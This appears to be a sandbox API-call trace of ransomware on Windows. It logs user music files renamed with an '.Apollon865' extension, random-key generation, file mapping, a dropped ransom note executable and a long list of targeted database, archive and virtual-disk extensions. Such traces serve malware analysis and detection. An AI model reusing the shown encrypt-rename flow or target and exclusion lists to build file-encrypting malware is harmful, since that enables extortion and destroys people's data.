	[0087.967] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\WYOVGq\\lqRmsUEhIDzR1\\2LSHYecnqtd30k91tr.m4a.Apollon865") returned 100
	[0087.967] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\WYOVGq\\lqRmsUEhIDzR1\\2LSHYecnqtd30k91tr.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\yxk3_kbyu\\wyovgq\\lqrmsuehidzr1\\2lshyecnqtd30k91tr.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\WYOVGq\\lqRmsUEhIDzR1\\2LSHYecnqtd30k91tr.m4a.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\yxk3_kbyu\\wyovgq\\lqrmsuehidzr1\\2lshyecnqtd30k91tr.m4a.apollon865"), dwFlags=0x1) returned 1
	[0087.968] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\WYOVGq\\lqRmsUEhIDzR1\\2LSHYecnqtd30k91tr.m4a.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\yxk3_kbyu\\wyovgq\\lqrmsuehidzr1\\2lshyecnqtd30k91tr.m4a.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0087.968] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=93311) returned 1
	[0087.969] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0087.969] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0087.969] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0087.969] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf5f0) returned 1
	[0087.970] CryptGenRandom (in: hProv=0x5bf5f0, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0087.970] CryptReleaseContext (hProv=0x5bf5f0, dwFlags=0x0) returned 1
	[0087.970] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x16f80, lpName=0x0) returned 0x15c
	[0087.970] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x16f80) returned 0x120000
	[0087.974] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf5f0) returned 1
	[0087.975] CryptGenRandom (in: hProv=0x5bf5f0, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0087.975] CryptReleaseContext (hProv=0x5bf5f0, dwFlags=0x0) returned 1
	[0087.975] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0087.975] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0087.975] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0087.975] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0087.975] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0087.975] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0087.975] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0087.975] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0087.975] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0087.975] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0087.975] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0087.976] CloseHandle (hObject=0x15c) returned 1
	[0087.976] CloseHandle (hObject=0x9c) returned 1
	[0087.978] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0087.978] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0087.978] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0087.978] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30350410, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x30350410, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0087.978] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0087.978] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30350410, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x30350410, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0087.978] FindClose (in: hFindFile=0x5ca2d0 | out: hFindFile=0x5ca2d0) returned 1
	[0087.978] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7a70
	[0087.979] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\WYOVGq\\fWMdzf4", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\WYOVGq\\fWMdzf4") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\WYOVGq\\fWMdzf4"
	[0087.979] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf700 | out: hHeap=0x580000) returned 1
	[0087.979] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a68 | out: hHeap=0x580000) returned 1
	[0087.979] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\WYOVGq\\fWMdzf4") returned 60
	[0087.979] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\WYOVGq\\fWMdzf4" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\WYOVGq\\fWMdzf4") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\WYOVGq\\fWMdzf4"
	[0087.979] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0087.979] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\WYOVGq\\fWMdzf4\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\yxk3_kbyu\\wyovgq\\fwmdzf4\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0087.980] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0087.980] GetLastError () returned 0x0
	[0087.980] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0087.980] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0087.980] CloseHandle (hObject=0x10c) returned 1
	[0087.980] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0087.980] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0087.980] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\WYOVGq\\fWMdzf4\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xce23ab80, ftCreationTime.dwHighDateTime=0x1d4cd57, ftLastAccessTime.dwLowDateTime=0x30350410, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x30350410, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0087.981] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0087.981] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0087.981] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0087.981] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xce23ab80, ftCreationTime.dwHighDateTime=0x1d4cd57, ftLastAccessTime.dwLowDateTime=0x30350410, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x30350410, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0087.981] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0087.981] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0087.981] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0087.981] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0087.981] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3de39df0, ftCreationTime.dwHighDateTime=0x1d4c816, ftLastAccessTime.dwLowDateTime=0x11253f80, ftLastAccessTime.dwHighDateTime=0x1d4c5a0, ftLastWriteTime.dwLowDateTime=0x11253f80, ftLastWriteTime.dwHighDateTime=0x1d4c5a0, nFileSizeHigh=0x0, nFileSizeLow=0x840c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="4pjlP.m4a", cAlternateFileName="")) returned 1
	[0087.981] lstrcmpiW (lpString1="4pjlP.m4a", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0087.981] lstrcmpiW (lpString1="4pjlP.m4a", lpString2="Apollon865.txt.exe") returned -1
	[0087.981] lstrcmpiW (lpString1="4pjlP.m4a", lpString2=".") returned 1
	[0087.981] lstrcmpiW (lpString1="4pjlP.m4a", lpString2="..") returned 1
	[0087.981] lstrcmpiW (lpString1="4pjlP.m4a", lpString2="windows") returned -1
	[0087.981] lstrcmpiW (lpString1="4pjlP.m4a", lpString2="bootmgr") returned -1
	[0087.981] lstrcmpiW (lpString1="4pjlP.m4a", lpString2="temp") returned -1
	[0087.981] lstrcmpiW (lpString1="4pjlP.m4a", lpString2="pagefile.sys") returned -1
	[0087.981] lstrcmpiW (lpString1="4pjlP.m4a", lpString2="boot") returned -1
	[0087.981] lstrcmpiW (lpString1="4pjlP.m4a", lpString2="ids.txt") returned -1
	[0087.981] lstrcmpiW (lpString1="4pjlP.m4a", lpString2="ntuser.dat") returned -1
	[0087.981] lstrcmpiW (lpString1="4pjlP.m4a", lpString2="perflogs") returned -1
	[0087.981] lstrcmpiW (lpString1="4pjlP.m4a", lpString2="MSBuild") returned -1
	[0087.981] lstrlenW (lpString="4pjlP.m4a") returned 9
	[0087.981] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\WYOVGq\\fWMdzf4\\*") returned 62
	[0087.981] lstrcpyW (in: lpString1=0x119e682, lpString2="4pjlP.m4a" | out: lpString1="4pjlP.m4a") returned="4pjlP.m4a"
	[0087.981] lstrlenW (lpString="4pjlP.m4a") returned 9
	[0087.981] lstrlenW (lpString="Apollon865") returned 10
	[0087.981] lstrlenW (lpString=".dll") returned 4
	[0087.981] lstrcmpiW (lpString1="4pjlP.m4a", lpString2=".dll") returned 1
	[0087.981] lstrlenW (lpString=".lnk") returned 4
	[0087.982] lstrcmpiW (lpString1="4pjlP.m4a", lpString2=".lnk") returned 1
	[0087.982] lstrlenW (lpString=".ini") returned 4
	[0087.982] lstrcmpiW (lpString1="4pjlP.m4a", lpString2=".ini") returned 1
	[0087.982] lstrlenW (lpString=".sys") returned 4
	[0087.982] lstrcmpiW (lpString1="4pjlP.m4a", lpString2=".sys") returned 1
	[0087.982] lstrlenW (lpString="4pjlP.m4a") returned 9
	[0087.982] lstrlenW (lpString="bak") returned 3
	[0087.982] lstrcmpiW (lpString1="m4a", lpString2="bak") returned 1
	[0087.982] lstrlenW (lpString="ba_") returned 3
	[0087.982] lstrcmpiW (lpString1="m4a", lpString2="ba_") returned 1
	[0087.982] lstrlenW (lpString="dbb") returned 3
	[0087.982] lstrcmpiW (lpString1="m4a", lpString2="dbb") returned 1
	[0087.982] lstrlenW (lpString="vmdk") returned 4
	[0087.982] lstrcmpiW (lpString1=".m4a", lpString2="vmdk") returned -1
	[0087.982] lstrlenW (lpString="rar") returned 3
	[0087.982] lstrcmpiW (lpString1="m4a", lpString2="rar") returned -1
	[0087.982] lstrlenW (lpString="zip") returned 3
	[0087.982] lstrcmpiW (lpString1="m4a", lpString2="zip") returned -1
	[0087.982] lstrlenW (lpString="tgz") returned 3
	[0087.982] lstrcmpiW (lpString1="m4a", lpString2="tgz") returned -1
	[0087.982] lstrlenW (lpString="vbox") returned 4
	[0087.982] lstrcmpiW (lpString1=".m4a", lpString2="vbox") returned -1
	[0087.982] lstrlenW (lpString="vdi") returned 3
	[0087.982] lstrcmpiW (lpString1="m4a", lpString2="vdi") returned -1
	[0087.982] lstrlenW (lpString="vhd") returned 3
	[0087.982] lstrcmpiW (lpString1="m4a", lpString2="vhd") returned -1
	[0087.982] lstrlenW (lpString="vhdx") returned 4
	[0087.982] lstrcmpiW (lpString1=".m4a", lpString2="vhdx") returned -1
	[0087.982] lstrlenW (lpString="avhd") returned 4
	[0087.982] lstrcmpiW (lpString1=".m4a", lpString2="avhd") returned -1
	[0087.982] lstrlenW (lpString="db") returned 2
	[0087.982] lstrcmpiW (lpString1="4a", lpString2="db") returned -1
	[0087.982] lstrlenW (lpString="db2") returned 3
	[0087.982] lstrcmpiW (lpString1="m4a", lpString2="db2") returned 1
	[0087.982] lstrlenW (lpString="db3") returned 3
	[0087.983] lstrcmpiW (lpString1="m4a", lpString2="db3") returned 1
	[0087.983] lstrlenW (lpString="dbf") returned 3
	[0087.983] lstrcmpiW (lpString1="m4a", lpString2="dbf") returned 1
	[0087.983] lstrlenW (lpString="mdf") returned 3
	[0087.983] lstrcmpiW (lpString1="m4a", lpString2="mdf") returned -1
	[0087.983] lstrlenW (lpString="mdb") returned 3
	[0087.983] lstrcmpiW (lpString1="m4a", lpString2="mdb") returned -1
	[0087.983] lstrlenW (lpString="sql") returned 3
	[0087.983] lstrcmpiW (lpString1="m4a", lpString2="sql") returned -1
	[0087.983] lstrlenW (lpString="sqlite") returned 6
	[0087.983] lstrcmpiW (lpString1="lP.m4a", lpString2="sqlite") returned -1
	[0087.983] lstrlenW (lpString="sqlite3") returned 7
	[0087.983] lstrcmpiW (lpString1="jlP.m4a", lpString2="sqlite3") returned -1
	[0087.983] lstrlenW (lpString="sqlitedb") returned 8
	[0087.983] lstrcmpiW (lpString1="pjlP.m4a", lpString2="sqlitedb") returned -1
	[0087.983] lstrlenW (lpString="xml") returned 3
	[0087.983] lstrcmpiW (lpString1="m4a", lpString2="xml") returned -1
	[0087.983] lstrlenW (lpString="$er") returned 3
	[0087.983] lstrcmpiW (lpString1="m4a", lpString2="$er") returned 1
	[0087.983] lstrlenW (lpString="4dd") returned 3
	[0087.983] lstrcmpiW (lpString1="m4a", lpString2="4dd") returned 1
	[0087.983] lstrlenW (lpString="4dl") returned 3
	[0087.983] lstrcmpiW (lpString1="m4a", lpString2="4dl") returned 1
	[0087.983] lstrlenW (lpString="^^^") returned 3
	[0087.983] lstrcmpiW (lpString1="m4a", lpString2="^^^") returned 1
	[0087.983] lstrlenW (lpString="abs") returned 3
	[0087.983] lstrcmpiW (lpString1="m4a", lpString2="abs") returned 1
	[0087.983] lstrlenW (lpString="abx") returned 3
	[0087.984] lstrcmpiW (lpString1="m4a", lpString2="abx") returned 1
	[0087.984] lstrlenW (lpString="accdb") returned 5
	[0087.984] lstrcmpiW (lpString1="P.m4a", lpString2="accdb") returned 1
	[0087.984] lstrlenW (lpString="accdc") returned 5
	[0087.984] lstrcmpiW (lpString1="P.m4a", lpString2="accdc") returned 1
	[0087.984] lstrlenW (lpString="accde") returned 5
	[0087.984] lstrcmpiW (lpString1="P.m4a", lpString2="accde") returned 1
	[0087.984] lstrlenW (lpString="accdr") returned 5
	[0087.984] lstrcmpiW (lpString1="P.m4a", lpString2="accdr") returned 1
	[0087.984] lstrlenW (lpString="accdt") returned 5
	[0087.984] lstrcmpiW (lpString1="P.m4a", lpString2="accdt") returned 1
	[0087.984] lstrlenW (lpString="accdw") returned 5
	[0087.984] lstrcmpiW (lpString1="P.m4a", lpString2="accdw") returned 1
	[0087.984] lstrlenW (lpString="accft") returned 5
	[0087.984] lstrcmpiW (lpString1="P.m4a", lpString2="accft") returned 1
	[0087.984] lstrlenW (lpString="adb") returned 3
	[0087.984] lstrcmpiW (lpString1="m4a", lpString2="adb") returned 1
	[0087.984] lstrlenW (lpString="adb") returned 3
	[0087.984] lstrcmpiW (lpString1="m4a", lpString2="adb") returned 1
	[0087.984] lstrlenW (lpString="ade") returned 3
	[0087.984] lstrcmpiW (lpString1="m4a", lpString2="ade") returned 1
	[0087.984] lstrlenW (lpString="adf") returned 3
	[0087.984] lstrcmpiW (lpString1="m4a", lpString2="adf") returned 1
	[0087.984] lstrlenW (lpString="adn") returned 3
	[0087.984] lstrcmpiW (lpString1="m4a", lpString2="adn") returned 1
	[0087.984] lstrlenW (lpString="adp") returned 3
	[0087.984] lstrcmpiW (lpString1="m4a", lpString2="adp") returned 1
	[0087.984] lstrlenW (lpString="alf") returned 3
	[0087.984] lstrcmpiW (lpString1="m4a", lpString2="alf") returned 1
	[0087.984] lstrlenW (lpString="ask") returned 3
	[0087.984] lstrcmpiW (lpString1="m4a", lpString2="ask") returned 1
	[0087.984] lstrlenW (lpString="btr") returned 3
	[0087.984] lstrcmpiW (lpString1="m4a", lpString2="btr") returned 1
	[0087.985] lstrlenW (lpString="cat") returned 3
	[0087.985] lstrcmpiW (lpString1="m4a", lpString2="cat") returned 1
	[0087.985] lstrlenW (lpString="cdb") returned 3
	[0087.985] lstrcmpiW (lpString1="m4a", lpString2="cdb") returned 1
	[0087.985] lstrlenW (lpString="ckp") returned 3
	[0087.985] lstrcmpiW (lpString1="m4a", lpString2="ckp") returned 1
	[0087.985] lstrlenW (lpString="cma") returned 3
	[0087.985] lstrcmpiW (lpString1="m4a", lpString2="cma") returned 1
	[0087.985] lstrlenW (lpString="cpd") returned 3
	[0087.985] lstrcmpiW (lpString1="m4a", lpString2="cpd") returned 1
	[0087.985] lstrlenW (lpString="dacpac") returned 6
	[0087.985] lstrcmpiW (lpString1="lP.m4a", lpString2="dacpac") returned 1
	[0087.985] lstrlenW (lpString="dad") returned 3
	[0087.985] lstrcmpiW (lpString1="m4a", lpString2="dad") returned 1
	[0087.985] lstrlenW (lpString="dadiagrams") returned 10
	[0087.985] lstrlenW (lpString="daschema") returned 8
	[0087.985] lstrcmpiW (lpString1="pjlP.m4a", lpString2="daschema") returned 1
	[0087.985] lstrlenW (lpString="db-journal") returned 10
	[0087.985] lstrlenW (lpString="db-shm") returned 6
	[0087.985] lstrcmpiW (lpString1="lP.m4a", lpString2="db-shm") returned 1
	[0087.985] lstrlenW (lpString="db-wal") returned 6
	[0087.985] lstrcmpiW (lpString1="lP.m4a", lpString2="db-wal") returned 1
	[0087.985] lstrlenW (lpString="dbc") returned 3
	[0087.985] lstrcmpiW (lpString1="m4a", lpString2="dbc") returned 1
	[0087.985] lstrlenW (lpString="dbs") returned 3
	[0087.985] lstrcmpiW (lpString1="m4a", lpString2="dbs") returned 1
	[0087.985] lstrlenW (lpString="dbt") returned 3
	[0087.985] lstrcmpiW (lpString1="m4a", lpString2="dbt") returned 1
	[0087.986] lstrlenW (lpString="dbv") returned 3
	[0087.986] lstrcmpiW (lpString1="m4a", lpString2="dbv") returned 1
	[0087.986] lstrlenW (lpString="dbx") returned 3
	[0087.986] lstrcmpiW (lpString1="m4a", lpString2="dbx") returned 1
	[0087.986] lstrlenW (lpString="dcb") returned 3
	[0087.986] lstrcmpiW (lpString1="m4a", lpString2="dcb") returned 1
	[0087.986] lstrlenW (lpString="dct") returned 3
	[0087.986] lstrcmpiW (lpString1="m4a", lpString2="dct") returned 1
	[0087.986] lstrlenW (lpString="dcx") returned 3
	[0087.986] lstrcmpiW (lpString1="m4a", lpString2="dcx") returned 1
	[0087.986] lstrlenW (lpString="ddl") returned 3
	[0087.986] lstrcmpiW (lpString1="m4a", lpString2="ddl") returned 1
	[0087.986] lstrlenW (lpString="dlis") returned 4
	[0087.986] lstrcmpiW (lpString1=".m4a", lpString2="dlis") returned -1
	[0087.986] lstrlenW (lpString="dp1") returned 3
	[0087.986] lstrcmpiW (lpString1="m4a", lpString2="dp1") returned 1
	[0087.986] lstrlenW (lpString="dqy") returned 3
	[0087.986] lstrcmpiW (lpString1="m4a", lpString2="dqy") returned 1
	[0087.986] lstrlenW (lpString="dsk") returned 3
	[0087.986] lstrcmpiW (lpString1="m4a", lpString2="dsk") returned 1
	[0087.986] lstrlenW (lpString="dsn") returned 3
	[0087.986] lstrcmpiW (lpString1="m4a", lpString2="dsn") returned 1
	[0087.986] lstrlenW (lpString="dtsx") returned 4
	[0087.986] lstrcmpiW (lpString1=".m4a", lpString2="dtsx") returned -1
	[0087.986] lstrlenW (lpString="dxl") returned 3
	[0087.986] lstrcmpiW (lpString1="m4a", lpString2="dxl") returned 1
	[0087.986] lstrlenW (lpString="eco") returned 3
	[0087.986] lstrcmpiW (lpString1="m4a", lpString2="eco") returned 1
	[0087.986] lstrlenW (lpString="ecx") returned 3
	[0087.986] lstrcmpiW (lpString1="m4a", lpString2="ecx") returned 1
	[0087.986] lstrlenW (lpString="edb") returned 3
	[0087.987] lstrcmpiW (lpString1="m4a", lpString2="edb") returned 1
	[0087.987] lstrlenW (lpString="epim") returned 4
	[0087.987] lstrcmpiW (lpString1=".m4a", lpString2="epim") returned -1
	[0087.987] lstrlenW (lpString="fcd") returned 3
	[0087.987] lstrcmpiW (lpString1="m4a", lpString2="fcd") returned 1
	[0087.987] lstrlenW (lpString="fdb") returned 3
	[0087.987] lstrcmpiW (lpString1="m4a", lpString2="fdb") returned 1
	[0087.987] lstrlenW (lpString="fic") returned 3
	[0087.987] lstrcmpiW (lpString1="m4a", lpString2="fic") returned 1
	[0087.987] lstrlenW (lpString="flexolibrary") returned 12
	[0087.987] lstrlenW (lpString="fm5") returned 3
	[0087.987] lstrcmpiW (lpString1="m4a", lpString2="fm5") returned 1
	[0087.987] lstrlenW (lpString="fmp") returned 3
	[0087.987] lstrcmpiW (lpString1="m4a", lpString2="fmp") returned 1
	[0087.987] lstrlenW (lpString="fmp12") returned 5
	[0087.987] lstrcmpiW (lpString1="P.m4a", lpString2="fmp12") returned 1
	[0087.987] lstrlenW (lpString="fmpsl") returned 5
	[0087.987] lstrcmpiW (lpString1="P.m4a", lpString2="fmpsl") returned 1
	[0087.987] lstrlenW (lpString="fol") returned 3
	[0087.987] lstrcmpiW (lpString1="m4a", lpString2="fol") returned 1
	[0087.987] lstrlenW (lpString="fp3") returned 3
	[0087.987] lstrcmpiW (lpString1="m4a", lpString2="fp3") returned 1
	[0087.987] lstrlenW (lpString="fp4") returned 3
	[0087.987] lstrcmpiW (lpString1="m4a", lpString2="fp4") returned 1
	[0087.987] lstrlenW (lpString="fp5") returned 3
	[0087.987] lstrcmpiW (lpString1="m4a", lpString2="fp5") returned 1
	[0087.987] lstrlenW (lpString="fp7") returned 3
	[0087.987] lstrcmpiW (lpString1="m4a", lpString2="fp7") returned 1
	[0087.987] lstrlenW (lpString="fpt") returned 3
	[0087.987] lstrcmpiW (lpString1="m4a", lpString2="fpt") returned 1
	[0087.988] lstrlenW (lpString="frm") returned 3
	[0087.988] lstrcmpiW (lpString1="m4a", lpString2="frm") returned 1
	[0087.988] lstrlenW (lpString="gdb") returned 3
	[0087.988] lstrcmpiW (lpString1="m4a", lpString2="gdb") returned 1
	[0087.988] lstrlenW (lpString="gdb") returned 3
	[0087.988] lstrcmpiW (lpString1="m4a", lpString2="gdb") returned 1
	[0087.988] lstrlenW (lpString="grdb") returned 4
	[0087.988] lstrcmpiW (lpString1=".m4a", lpString2="grdb") returned -1
	[0087.988] lstrlenW (lpString="gwi") returned 3
	[0087.988] lstrcmpiW (lpString1="m4a", lpString2="gwi") returned 1
	[0087.988] lstrlenW (lpString="hdb") returned 3
	[0087.988] lstrcmpiW (lpString1="m4a", lpString2="hdb") returned 1
	[0087.988] lstrlenW (lpString="his") returned 3
	[0087.988] lstrcmpiW (lpString1="m4a", lpString2="his") returned 1
	[0087.988] lstrlenW (lpString="ib") returned 2
	[0087.988] lstrcmpiW (lpString1="4a", lpString2="ib") returned -1
	[0087.988] lstrlenW (lpString="idb") returned 3
	[0087.988] lstrcmpiW (lpString1="m4a", lpString2="idb") returned 1
	[0087.988] lstrlenW (lpString="ihx") returned 3
	[0087.988] lstrcmpiW (lpString1="m4a", lpString2="ihx") returned 1
	[0087.988] lstrlenW (lpString="itdb") returned 4
	[0087.988] lstrcmpiW (lpString1=".m4a", lpString2="itdb") returned -1
	[0087.988] lstrlenW (lpString="itw") returned 3
	[0087.988] lstrcmpiW (lpString1="m4a", lpString2="itw") returned 1
	[0087.988] lstrlenW (lpString="jet") returned 3
	[0087.988] lstrcmpiW (lpString1="m4a", lpString2="jet") returned 1
	[0087.988] lstrlenW (lpString="jtx") returned 3
	[0087.988] lstrcmpiW (lpString1="m4a", lpString2="jtx") returned 1
	[0087.988] lstrlenW (lpString="kdb") returned 3
	[0087.989] lstrcmpiW (lpString1="m4a", lpString2="kdb") returned 1
	[0087.989] lstrlenW (lpString="kexi") returned 4
	[0087.989] lstrcmpiW (lpString1=".m4a", lpString2="kexi") returned -1
	[0087.989] lstrlenW (lpString="kexic") returned 5
	[0087.989] lstrcmpiW (lpString1="P.m4a", lpString2="kexic") returned 1
	[0087.989] lstrlenW (lpString="kexis") returned 5
	[0087.989] lstrcmpiW (lpString1="P.m4a", lpString2="kexis") returned 1
	[0087.989] lstrlenW (lpString="lgc") returned 3
	[0087.989] lstrcmpiW (lpString1="m4a", lpString2="lgc") returned 1
	[0087.989] lstrlenW (lpString="lwx") returned 3
	[0087.989] lstrcmpiW (lpString1="m4a", lpString2="lwx") returned 1
	[0087.989] lstrlenW (lpString="maf") returned 3
	[0087.989] lstrcmpiW (lpString1="m4a", lpString2="maf") returned -1
	[0087.989] lstrlenW (lpString="maq") returned 3
	[0087.989] lstrcmpiW (lpString1="m4a", lpString2="maq") returned -1
	[0087.989] lstrlenW (lpString="mar") returned 3
	[0087.989] lstrcmpiW (lpString1="m4a", lpString2="mar") returned -1
	[0087.989] lstrlenW (lpString="marshal") returned 7
